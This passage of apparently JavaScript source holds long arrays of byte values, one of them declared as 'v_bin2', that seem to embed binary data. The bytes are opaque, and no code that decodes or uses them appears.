,180,193,108,174,218,207,213,164,233,170,162,157,132,140,124,22,234,184,149,182,176,69,25,54,145,167,219,227,175,153,196,179,170,13,57,63,3,129,219,36,232,153,214,195,182,1,174,218,179,125,171,220,226,116,51,42,243,162,255,213,15,118,211,114,201,6,11,67,159,249,179,237,81,192,81,234,112,92,149,47,186,2,211,165,206,95,67,47,18,251,232,209,86,37,193,173,120,183,94,142,87,64,209,105,127,222,212,13,53,68,169,85,218,15,242,247,180,82,32,230,190,41,90,37,121,72,191,53,94,67,97,40,183,100,8,22,3,219,71,244,100,68,172,147,64,11,197,159,137,117,147,15,196,57,55,16,129,46,185,167,146,99,249,68,136,159,97,250,49,188,77,93,12,138,153,149,72,158,188,107,82,252,57,244,131,4,145,73,62,175,77,100,244,100,70,27,86,147,248,44,252,55,220,29,84,11,254,135,184,179,226,167,209,135,175,137,149,53,213,7,98,160,164,208,82,152,28,92,213,98,54,215,238,119,131,5,82,247,138,128,28,22,178,247,216,27,100,170,55,233,26,33,74,249,6,47,72,190,174,104,67,26,173,113,171,87,181,14,144,154,169,129,22,77,128,85,216,250,219,33,25,247,120,168,145,166,192,186,75,49,55,218,244,161,192,174,133,43,162,208,2,113,37,45,132,228,84,181,110,232,103,231,58,145,139,155,152,169,88,33,84,252,156,236,217,105,245,59,113,168,234,128,17,7,197,86,193,93,200,235,51,41,251,150,125,133,44,53,39,122,224,39,26,166,230,255,240,97,225,221,23,230,44,182,181,196,32,164,38,107,248,23,122,199,246,98,43,16,78,109,208,79,8,237,240,149,143,170,86,176,74,32,179,84,79,242,164,81,244,48,225,166,138,50,24,219,42,38,118,232,22,11,181,205,95,48,42,17,100,25,253,23,52,172,181,198,181,204,219,19,155,187,117,175,29,253,128,110,1,30,220,62,30,41,66,131,149,194,127,123,33,54,21,210,14,15,197,117,248,235,196,121,243,130,18,206,67,46,144,171,235,250,178,93,171,234,106,138,89,103,42,174,251,72,54,148,2,24,132,207,99,112,82,139,76,212,83,78,120,133,177,3,184,146,24,181,28,161,215,65,98,62,246,146,133,76,51,108,109,37,249,108,122,194,166,194,233,180,7,14,189,249,117,44,58,3,193,50,175,248,248,253,131,106,41,14,122,173,206,4,28,254,225,58,217,147,89,126,92,56,31,94,189,19,189,110,193,231,140,88,128,44,245,102,127,64,134,21,210,252,245,34,56,170,79,47,167,82,57,132,207,198,102,38,73,38,214,78,57,105,252,43,13,75,15,230,239,178,142,30,73,200,124,13,27,36,231,201,246,97,107,157,148,19,69,35,24,94,180,235,167,155,199,205,188,5,55,74,118,92,248,222,239,127,26,50,17,173,85,223,133,62,167,218,106,255,171,62,28,234,102,91,255,231,62,241,155,72,180,235,31,37,194,60,144,124,30,8,25,115,147,218,42,45,255,47,27,225,166,59,120,236,95,11,224,71,237,220,193,215,164,4,197,133,204,173,81,61,92,3,1,139,107,146,166,15,12,184,245,216,238,229,206,184,105,21,192,154,80,155,151,47,166,125,35,115,78,58,151,216,65,249,208,163,211,87,68,137,38,207,244,222,87,242,240,192,62,168,64,151,217,188,36,212,29,211,0,95,64,28,237,1,226,29,255,37,146,67,51,30,51,138,202,49,35,152,19,48,250,100,34,92,0,225,138,44,136,16,70,28,120,48,132,104,196,174,61,55,176,198,67,78,33,152,90,114,151,37,68,31,115,57,250,163,186,27,213,32,125,124,101,211,232,164,211,187,139,109,180,217,58,51,182,101,142,38,78,252,138,12,103,51,143,154,186,201,20,20,201,108,64,104,183,41,146,41,12,232,33,26,61,155,229,251,122,101,77,29,2,164,2,81,247,84,114,249,139,210,156,171,37,122,195,87,151,95,28,210,138,157,191,62,250,228,173,153,137,231,21,76,224,165,10,162,149,92,22,83,233,120,69,144,119,109,9,199,163,24,167,16,160,15,146,61,114,71,50,185,53,171,119,91,147,250,119,76,108,200,22,119,179,153,248,16,4,7,157,214,108,111,210,117,109,146,206,16,73,100,150,119,232,212,246,16,140,236,2,184,202,187,23,222,64,170,151,19,230,24,0,229,75,92,23,200,122,150,82,203,83,193,147,200,119,182,66,71,116,152,31,114,94,12,154,179,153,166,241,210,70,141,5,35,60,215,244,191,111,112,153,30,144,78,143,177,96,241,98,157,137,91,46,86,141,234,100,166,51,135,249,19,131,109,63,116,198,171,102,119,223,250,142,40,113,129,29,75,98,150,31,226,254,56,70,115,101,24,161,159,111,103,108,78,91,232,221,34,195,66,38,125,186,83,224,251,40,135,72,130,57,144,167,17,177,120,44,108,87,157,47,61,140,215,17,6,224,37,79,218,47,150,92,53,130,3,82,84,179,123,65,209,39,238,12,240,50,201,185,246,208,194,170,23,104,72,104,165,62,17,232,107,251,156,24,78,210,83,46,46,154,161,37,64,110,88,228,238,67,20,127,166,52,249,170,202,127,166,231,149,220,14,22,215,47,254,149,55,219,213,3,176,37,163,58,213,209,38,64,168,227,102,59,125,64,120,82,4,157,203,140,43,116,108,107,85,239,85,215,131,129,234,210,68,43,54,165,160,185,255,118,231,101,205,40,154,111,78,227,148,216,104,45,115,145,140,178,59,58,237,33,170,243,5,249,45,184,204,103,240,101,193,128,14,105,36,174,67,255,190,8,99,10,108,99,162,83,163,19,14,116,251,162,29,11,81,37,146,82,79,64,39,198,99,255,6,160,252,249,48,130,192,176,8,154,219,168,133,91,219,221,73,230,211,166,34,95,123,188,177,248,80,42,141,19,14,174,144,159,198,33,124,171,82,88,106,140,17,49,51,84,249,100,63,94,50,168,146,57,253,146,78,12,30,144,253,245,152,222,150,248,71,160,246,14,115,98,231,140,186,91,221,194,73,145,23,152,123,71,95,243,36,77,131,95,140,224,175,146,208,244,19,106,134,246,254,243,42,126,185,221,27,23,146,88,198,78,154,242,166,247,109,10,237,131,156,8,50,224,205,165,255,67,219,117,120,100,253,255,13,163,246,19,14,169,144,199,178,199,106,51,182,171,6,237,0,124,207,0,12,206,114,79,224,27,226,30,244,10,46,6,137,128,229,105,63,16,246,66,85,16,83,73,242,180,54,238,173,240,231,12,203,57,100,97,154,69,4,18,122,246,28,16,157,169,136,127,164,41,1,2,36,67,38,47,179,188,52,183,189,9,189,166,249,236,139,254,242,19,112,141,219,110,50,149,242,157,130,236,239,223,36,108,210,179,164,247,210,248,250,66,205,105,51,237,23,61,2,61,140,156,121,12,52,63,144,59,12,185,207,220,201,232,82,118,98,88,158,109,127,126,152,194,44,203,63,54,40,214,217,248,183,221,15,63,234,116,197,208,26,217,47,164,81,108,205,93,174,8,232,150,74,123,180,152,157,66,165,69,123,186,170,140,107,113,97,126,207,181,188,159,158,159,162,109,194,173,61,228,73,226,177,142,203,188,230,203,173,199,56,27,171,26,92,237,84,1,0,127,18,98,26,83,176,224,206,143,179,74,241,131,57,238,48,97,48,186,239,174,104,135,135,8,80,200,91,102,38,236,209,110,159,3,209,13,101,214,222,123,28,159,3,226,182,139,101,167,192,209,61,212,13,91,149,169,95,10,62,145,217,4,93,173,156,56,127,249,155,209,8,93,37,248,231,204,79,158,69,141,85,140,12,230,230,238,213,23,18,135,116,61,54,180,239,75,135,205,113,173,156,110,211,232,131,129,220,34,119,190,132,229,54,72,68,126,191,235,218,114,186,103,206,52,205,169,153,39,98,81,39,212,128,179,156,102,254,69,117,77,32,3,9,122,191,204,91,45,34,145,251,236,3,91,7,144,165,192,36,218,98,64,71,254,232,148,102,6,159,77,7,154,208,216,85,138,168,89,193,108,201,119,158,251,254,75,4,189,121,49,47,180,53,169,63,248,26,248,175,210,250,194,158,85,131,60,39,104,173,168,86,115,167,159,48,232,147,10,81,204,202,77,55,179,62,132,37,10,211,246,152,244,242,193,26,27,247,110,199,27,84,210,247,181,223,218,0,235,88,167,222,240,164,211,153,28,242,90,159,6,170,90,82,196,87,3,185,178,36,89,57,246,199,79,194,42,178,244,188,143,234,199,216,85,243,109,121,16,201,132,236,109,87,134,225,116,208,214,220,215,188,35,144,62,126,144,153,98,97,127,168,204,239,143,105,164,85,23,168,237,12,74,51,37,22,119,68,45,228,44,55,66,245,138,75,16,247,74,15,230,224,177,119,134,121,135,77,72,104,134,136,170,253,3,9,207,162,240,70,116,120,235,219,47,18,239,177,62,16,98,198,157,103,148,93,75,71,92,53,106,96,157,138,205,27,165,76,116,211,213,6,164,129,72,3,211,107,205,78,109,201,226,34,154,251,181,193,189,243,228,124,139,95,182,8,78,104,111,180,180,220,20,215,53,251,5,124,91,212,144,172,202,28,73,160,140,199,249,214,85,182,98,6,202,182,74,44,57,154,64,220,103,246,181,61,161,139,72,217,176,243,205,99,189,236,6,128,129,49,168,56,23,119,207,222,46,25,181,26,141,229,226,98,212,232,91,255,52,18,242,113,67,148,137,205,166,218,8,230,86,196,229,22,131,88,172,106,118,143,97,142,144,130,40,169,251,191,34,143,183,225,143,19,3,70,180,176,51,35,37,69,98,48,28,175,81,169,40,207,24,123,81,249,76,19,253,86,78,133,90,142,179,1,136,36,46,2,112,123,79,150,197,245,26,33,13,54,220,168,149,77,113,100,82,31,27,245,109,232,8,214,48,75,100,236,175,96,15,56,91,2,192,175,132,56,151,216,191,31,228,128,172,201,226,5,85,179,250,20,10,32,85,13,226,17,150,225,15,201,160,21,239,200,50,6,190,102,50,34,0,235,142,176,41,111,152,31,181,188,134,185,24,108,69,124,139,89,98,121,24,108,179,3,12,25,251,136,205,165,50,81,39,19,157,178,217,91,0,253,135,177,168,18,171,111,230,113,220,85,169,58,127,27,139,70,196,94,80,116,15,236,77,209,222,116,70,24,208,109,147,102,180,211,147,98,152,166,32,255,253,199,240,197,160,107,177,8,86,76,6,50,4,71,76,55,29,240,99,112,222,62,140,9,138,151,133,0,201,236,55,112,18,96,100,58,90,98,73,10,72,251,17,53,39,93,92,198,79,16,175,254,244,69,247,113,254,133,185,210,143,204,156,53,98,163,79,182,160,199,246,152,13,106,197,235,105,80,236,209,183,81,25,63,26,217,121,158,52,140,166,173,79,89,133,10,87,168,0,4,71,84,170,124,226,191,162,242,200,240,168,11,162,213,131,13,232,180,128,67,253,222,137,153,206,113,204,110,43,117,22,55,41,89,5,42];
var v_bin2 = [76,56,28,117,240,90,21,81,124,209,230,236,120,70,112,146,84,196,35,67,202,127,93,81,251,164,1,160,183,214,134,170,210,51,44,191,182,16,143,116,106,251,112,147,163,255,81,117,74,4,236,34,45,221,30,146,11,207,254,96,49,188,24,30,216,106,150,245,107,97,253,5,67,67,241,188,235,93,50,85,120,56,187,125,85,15,196,90,190,216,97,176,171,118,76,71,33,200,134,25,253,219,219,13,32,238,137,197,134,169,52,74,33,97,28,113,236,14,69,232,128,129,241,13,129,163,90,147,7,156,222,115,209,246,49,26,223,226,95,31,197,7,12,59,46,13,52,136,110,220,188,192,35,166,117,245,78,69,26,131,174,101,190,154,55,202,115,157,43,29,204,152,248,192,242,64,85,221,14,129,195,118,229,10,124,25,160,105,229,124,204,33,84,93,81,194,71,198,28,108,212,247,166,109,239,40,145,19,206,136,131,127,99,197,149,44,239,61,239,59,41,237,194,58,221,151,202,77,15,18,64,221,104,242,74,167,106,237,115,186,189,153,174,187,215,249,73,74,123,201,187,48,156,52,14,233,235,19,67,166,204,197,83,167,155,145,39,212,173,113,22,74,213,113,123,108,244,123,144,24,47,199,61,82,26,188,177,239,151,87,111,204,250,183,172,101,131,32,15,207,208,22,186,215,72,87,29,208,126,193,193,109,49,110,194,191,110,88,105,248,79,162,149,6,244,103,10,154,138,41,157,145,135,93,229,44,155,142,53,220,215,40,88,158,98,138,119,253,160,19,145,211,132,214,183,246,183,62,184,174,19,116,69,255,48,71,71,45,76,59,50,111,230,240,202,116,127,237,57,128,40,30,83,143,158,212,8,89,84,238,29,25,98,231,149,44,175,216,225,90,102,2,251,208,9,207,146,114,249,166,234,135,20,187,65,34,235,118,40,124,2,50,41,80,99,140,164,203,14,31,133,86,14,56,160,242,215,34,17,177,81,180,140,143,213,211,57,238,97,140,68,32,143,24,156,251,122,150,196,254,176,187,242,87,64,227,72,16,159,153,143,56,121,64,246,29,83,38,135,92,125,109,23,110,13,173,131,6,199,53,109,209,203,170,172,149,47,16,163,222,41,136,131,211,17,1,244,74,119,247,249,141,78,178,159,51,6,150,109,122,61,15,87,255,211,232,30,196,205,42,6,80,1,91,137,176,195,249,132,18,81,222,152,182,124,201,97,95,253,254,83,7,115,155,122,95,254,244,101,209,230,239,230,164,238,67,129,67,35,52,244,232,123,155,73,26,211,46,216,89,200,182,135,63,91,22,179,92,126,230,18,243,215,207,226,6,233,162,136,25,136,57,8,81,190,211,40,163,31,84,181,226,55,39,55,112,112,146,21,39,47,13,205,33,169,150,85,6,165,18,122,67,61,77,116,137,240,200,25,176,97,4,93,63,120,206,127,107,102,63,215,154,120,203,253,247,169,61,186,128,146,101,17,145,243,99,95,167,120,6,24,68,195,46,6,196,72,27,39,39,55,232,183,140,86,93,64,121,126,60,17,173,180,56,60,81,98,89,209,60,109,250,221,35,131,165,59,13,93,103,165,100,10,149,212,234,170,54,225,197,155,214,62,82,23,200,226,194,67,144,189,66,47,77,226,25,113,5,216,212,67,226,180,27,88,181,89,112,55,68,45,112,109,133,252,196,53,8,105,72,53,45,116,217,104,88,231,98,4,231,6,215,158,140,167,253,250,22,248,93,139,42,31,165,205,79,44,195,78,150,241,109,104,103,163,18,55,207,245,69,15,40,70,188,32,142,180,31,73,65,197,154,234,32,131,88,4,53,207,1,239,241,72,8,144,170,65,123,153,18,